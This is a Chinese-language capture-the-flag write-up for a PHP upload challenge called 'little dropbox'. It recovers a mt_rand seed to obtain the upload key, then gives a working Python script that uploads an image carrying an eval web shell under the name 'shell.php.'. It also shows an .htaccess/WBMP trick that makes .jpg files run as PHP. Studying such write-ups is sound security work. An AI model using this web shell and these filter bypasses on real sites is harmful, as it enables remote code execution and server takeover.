little dropbox

php
<?php
function upload()
{
$uploadDir = "uploads/" . md5($_SERVER['REMOTE_ADDR']);
echo md5($_SERVER['REMOTE_ADDR']);
if (!is_dir($uploadDir)) mkdir($uploadDir);
if (!empty($_FILES["file"])) {
if (preg_match("/ph/i", substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], ".") + 1))) die("nonono!!!");
if (mb_strpos(file_get_contents($_FILES["file"]["tmp_name"]), '<?') !== False) die("nonono!!!");
$info = getimagesize($_FILES["file"]["tmp_name"]);
if ($info[0] !== 100 || $info[1] !== 50) {
die("nonono!!!");
}
}
@move_uploaded_file($_FILES["file"]["tmp_name"], $uploadDir . "/" . basename($_FILES["file"]["name"]));
}

$ready = filter_input(INPUT_GET, 'ready');
$key = filter_input(INPUT_GET, 'key');
if ($ready === "1") {
session_start();
if (!isset($_SESSION["secretKey"])) {
$_SESSION["secretKey"] = mt_rand();
}
mt_srand($_SESSION["secretKey"]);
echo mt_rand() . "<br>";//[0]
for ($i = 0; $i < 225; $i++) mt_rand();
echo mt_rand() . "<br>";//[226]
echo mt_rand() . "<br>";//[227]
echo mt_rand() . "<br>";//[228]
if ($key === (string)$_SESSION['secretKey']) {
upload();
}
} else {
highlight_file(__FILE__);
}

解题思路

构造伪随机数

一开始需要构造 key 才能上传题目, 开始时考虑使用专门进行种子爆破的 php_mt_seed 工具
后来百度发现无需暴力破解就可以计算原始种子
https://www.anquanke.com/post/id/196831
前提要求是给定间隔 227 个值的两个 mt_rand()输出结果,例如第 1 个和第 228 个 mt_rand()的输出结果
下载 mt_rand-reverse-master
https://github.com/ambionics/mt_rand-reverse
传参 127.0.0.1:100/upload.php?ready=1

412630690<br>1046894031<br>1961239210<br>2006731948<br>
Cookie:PHPSESSID=o065m8ssj0dakiv4iijtsp8sq6

传第 0 个和第 227 个 mt_rand()值

cmd
python reverse_mt_rand.py 412630690 1961239210 0 0

得到 key 值 1955787332

构造绕过 PHP 文件上传

使用文件名加点绕过
内容用 js 语言<script language=“php”>绕过
内容大小要求 100x50,使用 python 库 PIL 自动生成

python
import requests
from PIL import Image
from io import BytesIO
from urllib.parse import unquote

# 目标上传的 URL
url = "http://127.0.0.1:100/upload.php/?ready=1&key=1955787332"
cookies = {"PHPSESSID": "o065m8ssj0dakiv4iijtsp8sq6"}

# 构造图片(100x50),并在图片数据中嵌入恶意 PHP 代码
def create_image_with_payload():
# 创建一个 100x50 的空白图片
img = Image.new("RGB", (100, 50), color=(255, 255, 255))
img_byte_arr = BytesIO()
img.save(img_byte_arr, format="PNG")

# PHP payload,嵌入到文件末尾
payload = b"<script language=\"php\">eval($_POST['cmd']);</script>"

# 将图片数据和 payload 结合起来
img_data = img_byte_arr.getvalue() + payload
return img_data

# 构造上传请求
def upload_file():
# 生成带有 payload 的图片
img_data = create_image_with_payload()
filename = "shell.php."
# 构造文件参数
files = {"file": (filename, img_data, "image/png")}

# 发送 POST 请求,上传文件
response = requests.post(url, files=files, cookies=cookies)

# 输出上传结果
print("Response status:", response.status_code)
print("Response body:", response.text)

if __name__ == "__main__":
upload_file()

最后访问 127.0.0.1:100/uploads/md5($_SERVER[‘REMOTE_ADDR’])/shell.php 用蚁剑连接,密码为 cmd。

另一种方法:.htaccess 文件绕过对上传图片的尺寸限制

我们可以使用 WEBP 格式绕过
WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。题目限制我们上传的图片尺寸必须为 100x50,那么我们在上传.htaccess 时便可以用 WBMP 来绕过:

plaintext
#define width 100
#define height 50
AddType application/x-httpd-php .jpg

参考上文生成一个图片马,上传.htaccess 和 a.jpg, 上传 getshell